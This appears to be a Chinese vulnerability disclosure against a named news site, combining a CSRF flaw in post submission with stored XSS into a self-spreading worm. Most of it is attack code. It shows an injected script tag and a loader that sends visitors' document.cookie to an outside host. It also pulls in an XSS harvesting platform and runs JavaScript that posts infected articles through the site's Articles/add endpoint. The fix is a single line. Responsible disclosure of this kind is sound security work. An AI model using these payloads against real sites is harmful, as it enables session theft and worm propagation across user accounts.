蠕虫=XSS+csrf
地址:http://tnew.caijing.com.cn/
先看发帖,直接post4个参数,无token验证,导致csrf漏洞。
再看存储型XSS,帖子内容未过滤,导致XSS。
接下来进入蠕虫意淫状态:
——————————————————————————————
如果在文章插入<script src='http://wooyun.org/test.js'>
test.js内容为:
//引入自动发帖,传播蠕虫js
document.write('<script src="http://wooyun.org/fatie.php?cookie='+document.cookie+'"><\/script>');
//引入xss收信平台的js文件,如beef
document.write('<script src="http://wooyun.org/xss.js"><\/script>');
这样就会请求自动发帖的js和xss平台的js。
用户访问时网页引入:http://wooyun.org/fatie.php?cookie=(cookie内容)
fatie.php的内容大致可以是这样。
网站cookie中cmstop_username存在用户名,从传输的cookie内容到数据库查询是否第一次中蠕虫,如果是第一次,把用户名写入数据库,防止中蠕虫后重复发帖。网站返回一个执行自动发帖的js动作。返回的js代码大致这样:
//这里文章标题和内容可以用php采集入库,让每个蠕虫感染者发不同的文章继续感染别人
var title = "url编码后的标题内容";
var content = "url编码后的带有xss代码的文章内容";
if (window.XMLHttpRequest) {
var x = new XMLHttpRequest();
} else {
var MSXML = new Array('MSXML2.XMLHTTP.5.0', 'MSXML2.XMLHTTP.4.0', 'MSXML2.XMLHTTP.3.0', 'MSXML2.XMLHTTP', 'Microsoft.XMLHTTP');
for(var n = 0; n < MSXML.length; n ++) {
try {
var objXMLHTTP = new ActiveXObject(MSXML[n]);
break;
} catch(e) {
}
}
}
objXMLHTTP.open("POST", "http://tnew.caijing.com.cn/Articles/add", false);
objXMLHTTP.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
objXMLHTTP.setRequestHeader("Connection", "Keep-Alive");
objXMLHTTP.send("title=" + title + "&content=" + content + "&g_name=%E5%90%90%E6%A7%BD&g_id=4&cate_id=23&cate_name=%E6%97%A0%E4%B8%BB%E9%A2%98");
这样就实现了xss的传播,而且通过不同人只发一个发不同帖子,实现xss蠕虫的隐蔽。
至于xss.js,直接引入xss平台的就行。
解决方案:
加强过滤